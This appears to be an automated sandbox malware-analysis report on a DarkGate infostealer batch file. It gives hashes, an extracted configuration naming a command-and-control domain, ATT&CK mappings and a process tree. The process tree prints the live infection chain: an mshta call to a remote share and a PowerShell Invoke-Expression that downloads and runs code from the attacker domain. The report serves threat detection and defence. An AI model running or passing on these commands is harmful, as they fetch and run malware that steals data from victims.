darkgate | 1c234c5ba3f3049f5e8783ff2474f33ca5b2c1094329d50fd2c95b6065cfa112

Analysis

max time kernel
150s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
06-05-2024 18:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bad.bat
Size

77B
MD5

ef00fa47ec774fcccffdb0de508bdd42
SHA1

e491fea5c9023b0858bb65433605257d1c123fac
SHA256

1c234c5ba3f3049f5e8783ff2474f33ca5b2c1094329d50fd2c95b6065cfa112
SHA512

0bd3f151ff6798315dea3df4efdf271bfcc6d6caec19aecc2262bfbada652de83aaba6b99b38d9ccf2dac2af770b05e426d292b1e3fc1959fa7e2205f5596a25

Score

10^/10

darkgate admin888 execution stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

findyourbackups.com

Attributes

anti_analysis
false
anti_debug
false
anti_vm
false
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
ljuGymXn
minimum_disk
100
minimum_ram
4096
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 4 IoCs

resource	yara_rule
behavioral1/memory/4700-107-0x00000000042B0000-0x000000000464A000-memory.dmp	family_darkgate_v6
behavioral1/memory/4700-108-0x00000000042B0000-0x000000000464A000-memory.dmp	family_darkgate_v6
behavioral1/memory/4700-109-0x00000000042B0000-0x000000000464A000-memory.dmp	family_darkgate_v6
behavioral1/memory/4700-106-0x00000000042B0000-0x000000000464A000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 2 IoCs

flow	pid	Process
23	2936	powershell.exe
25	2936	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4700	Autoit3.exe

Command and Scripting Interpreter: AutoIT 1 TTPs 1 IoCs

Using AutoIT for possible automate script.

execution

AutoHotKey & AutoIT

T1059.010

pid	Process
4700	Autoit3.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2936	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Autoit3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Autoit3.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-891789021-684472942-1795878712-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
3468	msedge.exe
3468	msedge.exe
4844	msedge.exe
4844	msedge.exe
2936	powershell.exe
2936	powershell.exe
2936	powershell.exe
4884	identity_helper.exe
4884	identity_helper.exe
3956	msedge.exe
3956	msedge.exe
4700	Autoit3.exe
4700	Autoit3.exe
768	msedge.exe
768	msedge.exe
768	msedge.exe
768	msedge.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4700	Autoit3.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2936	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe
4844	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
780	MiniSearchHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3592 wrote to memory of 3704	3592	cmd.exe	80
PID 3592 wrote to memory of 3704	3592	cmd.exe	80
PID 4844 wrote to memory of 428	4844	msedge.exe	86
PID 4844 wrote to memory of 428	4844	msedge.exe	86
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 5112	4844	msedge.exe	87
PID 4844 wrote to memory of 3468	4844	msedge.exe	88
PID 4844 wrote to memory of 3468	4844	msedge.exe	88
PID 4844 wrote to memory of 2544	4844	msedge.exe	89
PID 4844 wrote to memory of 2544	4844	msedge.exe	89
PID 4844 wrote to memory of 2544	4844	msedge.exe	89
PID 4844 wrote to memory of 2544	4844	msedge.exe	89
PID 4844 wrote to memory of 2544	4844	msedge.exe	89
PID 4844 wrote to memory of 2544	4844	msedge.exe	89
PID 4844 wrote to memory of 2544	4844	msedge.exe	89
PID 4844 wrote to memory of 2544	4844	msedge.exe	89
PID 4844 wrote to memory of 2544	4844	msedge.exe	89
PID 4844 wrote to memory of 2544	4844	msedge.exe	89
PID 4844 wrote to memory of 2544	4844	msedge.exe	89
PID 4844 wrote to memory of 2544	4844	msedge.exe	89
PID 4844 wrote to memory of 2544	4844	msedge.exe	89
PID 4844 wrote to memory of 2544	4844	msedge.exe	89
PID 4844 wrote to memory of 2544	4844	msedge.exe	89
PID 4844 wrote to memory of 2544	4844	msedge.exe	89
PID 4844 wrote to memory of 2544	4844	msedge.exe	89
PID 4844 wrote to memory of 2544	4844	msedge.exe	89

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4712	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\bad.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3592
- C:\Windows\system32\mshta.exe
  mshta.exe "file:///\\77.75.230.59\share\MS_EXCEL_DOCUMENT_HELPER.hta"
  2⤵
  PID:3704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'findyourbackups.com/hwkayiuj')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2936
  - - C:\rlrh\Autoit3.exe
      "C:\rlrh\Autoit3.exe" script.a3x
      4⤵
      Executes dropped EXE
      Command and Scripting Interpreter: AutoIT
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      PID:4700
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:/rlrh/
      4⤵
      Views/modifies file attributes
      PID:4712

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff84b733cb8,0x7ff84b733cc8,0x7ff84b733cd8
  2⤵
  PID:428
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1928,16702305624706831548,11138381492230374287,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1924 /prefetch:2
  2⤵
  PID:5112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1928,16702305624706831548,11138381492230374287,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3468
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1928,16702305624706831548,11138381492230374287,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2532 /prefetch:8
  2⤵
  PID:2544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1928,16702305624706831548,11138381492230374287,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3164 /prefetch:1
  2⤵
  PID:2248
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1928,16702305624706831548,11138381492230374287,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3176 /prefetch:1
  2⤵
  PID:2608
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1928,16702305624706831548,11138381492230374287,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2352 /prefetch:1
  2⤵
  PID:4816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1928,16702305624706831548,11138381492230374287,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4756 /prefetch:1
  2⤵
  PID:4744
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1928,16702305624706831548,11138381492230374287,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3320 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4884
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1928,16702305624706831548,11138381492230374287,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5284 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1928,16702305624706831548,11138381492230374287,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5016 /prefetch:1
  2⤵
  PID:2712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1928,16702305624706831548,11138381492230374287,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5148 /prefetch:1
  2⤵
  PID:4052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1928,16702305624706831548,11138381492230374287,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4920 /prefetch:1
  2⤵
  PID:2060
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1928,16702305624706831548,11138381492230374287,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=4704 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:768

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3568

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3188

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

AutoHotKey & AutoIT

T1059.010

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\7ebf0fb8-cd0d-4b3b-9294-d82cfabd078b.tmp

Filesize
11KB

MD5
c747970a227d3fc025d6c0d014ac9deb

SHA1
e1c1398a39514c8f0ace2acb6f177ef5fb4fa1da

SHA256
1b6c9667ff7a690f3ddb77b166c4406669fa28eb0b7ff5d23f0a204a3abb149d

SHA512
f8e650e3e44f4cccdc7bfaf62fa5f7766586495026e424506ded09d70341b3ae71c05e7b6624a74a8a88e4d8fb0f32d62b2b4a6e7cd0dd53ac8d57d468c6426a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
6e498afe43878690d3c18fab2dd375a5

SHA1
b53f3ccbfe03a300e6b76a7c453bacb8ca9e13bd

SHA256
beb39e9a246495e9dd2971224d23c511b565a72a6f02315c9f9bf1dcfae7df78

SHA512
3bf8a2dd797e7f41377267ad26bde717b5b3839b835fe7b196e748fec775ffd39346dba154bb5d8bda4e6568133daaa7fefa3a0d2a05e035c7210bb3c60041a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
b8b53ef336be1e3589ad68ef93bbe3a7

SHA1
dec5c310225cab7d871fe036a6ed0e7fc323cf56

SHA256
fe5c2fb328310d7621d8f5af5af142c9ce10c80f127c4ab63171738ad34749e1

SHA512
a9081a5a909d9608adfc2177d304950b700b654e397cf648ed90ecac8ac44b860b2cf55a6d65e4dfa84ef79811543abf7cb7f6368fd3914e138dfdd7a9c09537

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
180B

MD5
00a455d9d155394bfb4b52258c97c5e5

SHA1
2761d0c955353e1982a588a3df78f2744cfaa9df

SHA256
45a13c77403533b12fbeeeb580e1c32400ca17a32e15caa8c8e6a180ece27fed

SHA512
9553f8553332afbb1b4d5229bbf58aed7a51571ab45cbf01852b36c437811befcbc86f80ec422f222963fa7dabb04b0c9ae72e9d4ff2eeb1e58cde894fbe234f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
45605c7727e012a2f0e3087484616ce3

SHA1
80659e2f7d4992deb7ef5883799ce7a413f0f28d

SHA256
b79b20c4a27241c6b63f759c033ae5cc08b2b0859ce515006284e4a808aeee3c

SHA512
831dc528b7120aa0948faba0c39f563ef83391c2525b5a7ecbd76f5e02b734c02858ac91d4751fe422b7fc2cf0456add67e74e31c7c535d9edb8ec34a0808efe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
9eec777ef129ae574ee20ede499b76a3

SHA1
64657bcf859ef04eb438e56e48c0cb69f3325526

SHA256
db209238f368a15432ecccd0f3e5aed413389b3da79b29a987fe6aed086e6159

SHA512
b51c33d662dd114da62c5e9c09a707de9570edca733b436446efcf6236ab22b28ee47e0ec5639ccd28c94bfd948edaa61f85442217212154e4e90d6968bb6807

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
5009c5b0f0413c8ca8466f203058431a

SHA1
505972d3bf557dfe84765d83ed4a6930373da02f

SHA256
7cbfe231145dc565b42e1e2d368d63866559f3c16f108afe87c48dc3645063f1

SHA512
30e8307dbaf81248d01d7f6e0db0ea9b0f7a4d5c37fc571dd24cb990523dfb1931bbfad703199b68c06d317a976c7e38621aaecbc6cde7ee53690537b64fde0e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
5e1e78214fbda9decfd95ed610d0f2e4

SHA1
25bc76a1b8f44fdc3f8ae31862cd60a34ba3beb5

SHA256
fb4579773853eceebf58a5bc8b9d2d247ffb582ba743242853d3a2cd7177c0f1

SHA512
6f31f03ab09fb0a2b57448a6a8dcc6d40d1c56c2a8e336853e74519856d007daa71330e255530b8a9eef3b554d0f119efec707ecc3329dc06d82460cb6162cce

Download Submit
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat

Filesize
10KB

MD5
2f686552f463dacb3a39e97d1a410c9d

SHA1
e4fe9947c26763394b6cd14fa1df940c9af7de73

SHA256
6cad84b8c5018d81884c058a9c3482291eaed55fe439371ccf677519652b51b6

SHA512
9eb4a075437e51691420c8c25c32a905735c686f6ae2206a852405a3eae902fb6f66e23b8b817e724505257a78c8f174481bdd4b6f229d2c899983c77826a449

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tzhhyz23.5se.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\rlrh\Autoit3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\rlrh\script.a3x

Filesize
498KB

MD5
20b223466a0fd0e9ac7b2bbedfa30bda

SHA1
d3f2aef0e21cb9345d861a298d1175662a825a5d

SHA256
a83d2c0c1d16b0f608c3082d20c498411ac7e4f9fc4f68a2c1a3c2c065d4b124

SHA512
f7c4bd978a57e210fd31cf22f7a30d192ef714f61e972105b70e60b370ed20bfa1c1e03a88737980c9ab39955549a3325c5e16415d6ec9e971c7bdca2341a8f6

Download Submit
memory/2936-61-0x00000190D1190000-0x00000190D119A000-memory.dmp

Filesize
40KB

Download
memory/2936-60-0x00000190D1600000-0x00000190D1612000-memory.dmp

Filesize
72KB

Download
memory/2936-56-0x00000190D16D0000-0x00000190D1892000-memory.dmp

Filesize
1.8MB

Download
memory/2936-31-0x00000190D10E0000-0x00000190D1102000-memory.dmp

Filesize
136KB

Download
memory/4700-108-0x00000000042B0000-0x000000000464A000-memory.dmp

Filesize
3.6MB

Download
memory/4700-109-0x00000000042B0000-0x000000000464A000-memory.dmp

Filesize
3.6MB

Download
memory/4700-106-0x00000000042B0000-0x000000000464A000-memory.dmp

Filesize
3.6MB

Download
memory/4700-107-0x00000000042B0000-0x000000000464A000-memory.dmp

Filesize
3.6MB

Download